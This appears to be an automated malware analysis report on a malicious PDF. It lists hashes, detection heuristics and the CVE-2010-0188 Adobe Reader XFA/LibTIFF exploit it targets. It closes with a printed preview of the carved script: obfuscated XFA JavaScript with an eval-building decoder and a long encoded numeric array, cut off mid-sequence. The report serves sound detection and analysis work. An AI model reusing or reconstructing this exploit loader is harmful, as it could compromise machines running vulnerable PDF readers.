Malicious PDF — malware analysis report

Static analysis result for SHA-256 038f588d828343ab…

MALICIOUS

PDF

13.1 KB
MD5: a70d4aaeadf3fde2771b47211536cacf SHA-1: e8404177fc3f0cf5e5059ceaa28f4d6350baf2d8 SHA-256: 038f588d828343ab719c13829172cde0cb8476c5e4ac63e089ed86aa9d3af242
352 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains XFA (XML Forms Architecture) which is known to be vulnerable to heap spray attacks. The embedded JavaScript, specifically targeting CVE-2010-0188, is designed to exploit this vulnerability in Adobe Reader. The script likely downloads and executes a second-stage payload, indicated by the critical heuristic firings related to XFA heap spray and exploit clusters. The benign URLs present are likely decoys or standard XFA schema references.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
    PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
  • ClamAV: Pdf.Exploit.Agent-36755 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36755
  • XFA JavaScript heap-spray exploit code critical PDF_XFA_HEAP_SPRAY
    PDF contains XFA script content with heap-spray or shellcode-like JavaScript markers such as large encoded word sequences, util.pack, large arrays, or spray variable names. This is a weaponised Adobe Reader exploit pattern, not a normal interactive form.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream low PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_000003e2.bin
e3ea84b93bc990a07bbab6f826eb37ec5c33b321110c51b52d9a04c028cccccb
pdf-embedded-script PDF raw stream script payload at offset 0x3E2 12410 bytes
Preview script
First 1,000 lines of the extracted script
<xdp:xdp xmlns:xdp='http://ns.adobe.com/xdp/'>
<asd/>as<config><asd/>
<present>
<pdf
>
<int>0</int>
<interactive>&#000049;</interactive>
a
<asd/>a<version>
1.5</version>
a<asd/>
</pdf>
</present>
<asd/></config><asd/>
<template xmlns='http://www.xfa.org/schema/xfa-template/2.5'>
<asd/>
a<subform name="a1">		<pageSet>
			<pageArea id="roteYom" name="roteYom">
				<contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
				<medium long="792pt" short="612pt" stock="default"/>
			</pageArea>
		</pageSet>
<asd/>a
		<subform name='v236536b346b'>
		a<asd/>a<field name='qwe123b'>a<asd/>a<event asd='wqr' activity='initialize'>
a<asd></asd><script
contentType='application/x-javascript'>

m=1-1;
cc="Yo2yE&lt;(/Vh-'*L]wRWCkI7v1B cj)q.S{fAuKx8%=6F:0n?D4iel9Mr[,^5s\"Qm3_g;Uab+dpt}";
x='efv5';
q=x[0]+'val';
a=(Number+Number).substr(2,3);
aa=([].sort+[].sort).substr(2,3);
if (a===aa){
t='214124';
e=t['indexOf'];
&#000119;=e(12)[q];
s=new Array();
ss='split';
ar='22@68@54@25@72@68@71@71@49@45@65@66@22@68@54@25@69@69@69@56@25@26@26@26@56@25@71@71@71@56@25@50@50@50@56@25@33@33@33@56@25@65@65@65@56@25@9@9@9@66@22@68@54@25@72@1@49@45@73@50@54@59@64@68@56@25@49@66@22@68@54@25@37@25@40@25@45@50@15@25@34@54@54@68@3@6@28@66@22@68@54@25@3@25@40@25@45@50@15@25@34@54@54@68@3@6@28@66@22@68@54@25@64@51@23@40@60@48@26@2@44@41@44@44@33@44@58@23@21@38@44@48@68@63@26@2@44@41@44@44@33@44@33@41@63@38@44@48@68@68@63@50@69@38@44@48@68@63@44@2@44@38@2@48@68@41@50@2@33@38@44@48@68@48@23@48@23@48@23@48@23@2@41@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@44@23@2@63@52@38@44@48@68@41@48@2@44@41@44@44@33@44@44@44@48@44@44@44@44@48@23@48@23@48@23@48@23@48@23@48@23@48@23@48@23@41@41@38@63@50@48@33@26@33@26@38@58@50@48@21@58@63@48@50@52@58@33@63@63@26@44@41@48@38@69@48@44@63@44@38@69@48@44@44@26@38@69@21@44@23@26@58@41@38@69@21@41@44@38@63@63@71@69@41@41@38@69@58@50@63@26@44@63@21@48@63@63@2@26@38@23@50@50@23@58@23@44@33@33@33@33@69@38@38@69@48@44@63@44@26@63@48@41@63@52@44@41@21@58@33@69@38@21@63@48@2@48@38@58@50@48@21@58@58@23@50@52@50@69@48@26@58@23@58@41@38@69@21@58@63@26@38@69@21@48@63@58@21@38@44@63@33@58@58@41@38@69@21@41@2@44@44@63@33@58@63@63@26@52@48@52@48@23@33@26@68@71@44@63@26@58@63@63@71@69@44@33@69@50@23@44@63@38@33@2@21@48@44@38@26@23@26@69@44@71@44@63@71@68@48@44@50@69@33@23@63@69@23@33@21@58@50@41@58@50@38@69@58@50@2@48@44@63@71@71@41@41@38@69@44@26@48@69@38@71@48@41@50@26@33@33@58@48@2@48@44@26@38@69@71@38@44@63@71@71@38@69@44@48@38@69@44@63@26@58@68@69@58@50@58@52@26@63@50@69@58@63@68@71@38@69@41@38@2@44@38@44@21@71@44@26@63@63@21@48@44@63@52@41@50@69@33@63@38@69@41@38@44@38@38@69@33@21@41@68@44@58@58@52@50@38@52@38@33@33@33@33@33@33@50@2@33@52@50@38@44@44@44@44@44@44@44@44@58@38@58@44@41@68@48@44@41@38@33@33@44@44@44@44@44@44@58@44@38@63@26@44@23@52@58@44@58@58@38@69@50@26@38@69@58@50@23@44@38@63@26@63@44@58@33@33@50@63@41@38@41@33@41@50@44@44@44@44@41@38@21@58@21@2@41@26@41@71@58@48@33@33@23@41@38@63@26@48@44@38@38@69@50@38@50@38@41@23@33@33@33@33@33@33@50@69@44@2@50@69@21@2@38@23@50@26@44@48@44@23@44@44@44@44@38@71@58@26@2@48@44@26@26@21@44@48@2@48@21@2@41@58@41@21@21@63@26@21@48@48@2@48@44@48@21@41@21@2@63@63@63@2@26@21@48@48@2@48@44@38@2@44@2@71@21@63@2@44@58@63@41@38@33@38@44@44@44@44@44@44@33@33@58@41@44@26@38@69@50@38@63@63@26@52@58@23@26@21@48@48@23@71@44@44@21@21@21@44@41@2@21@48@26@21@48@48@23@71@44@58@2@50@41@48@41@26@41@26@26@41@48@48@23@71@44@52@44@44@58@52@38@68@26@23@44@48@63@44@38@38@48@48@23@71@44@48@48@23@58@23@41@68@44@44@41@68@44@44@58@63@58@21@41@68@44@44@33@33@58@41@23@48@38@58@26@44@21@58@23@41@41@68@44@44@58@63@33@33@58@41@44@48@41@68@44@44@38@63@50@69@44@26@58@63@33@33@58@41@44@48@38@63@26@63@44@26@50@69@44@2@50@69@23@63@48@21@38@44@63@33@44@44@21@58@33@68@48@21@38@44@63@33@44@44@21@58@26@48@41@68@44@44@41@68@33@50@33@33@58@41@44@38@50@38@52@26@33@50@33@33@33@33@38@50@48@50@44@50@50@26@52@38@33@50@38@68@44@50@38@52@41@33@44@23@69@71@63@63@26@68@38@68@58@69@23@69@26@41@48@41@21@52@63@41@23@68@2@33@21@44@41@38@21@48@21@48@21@44@63@68@2@33@2@
... (truncated)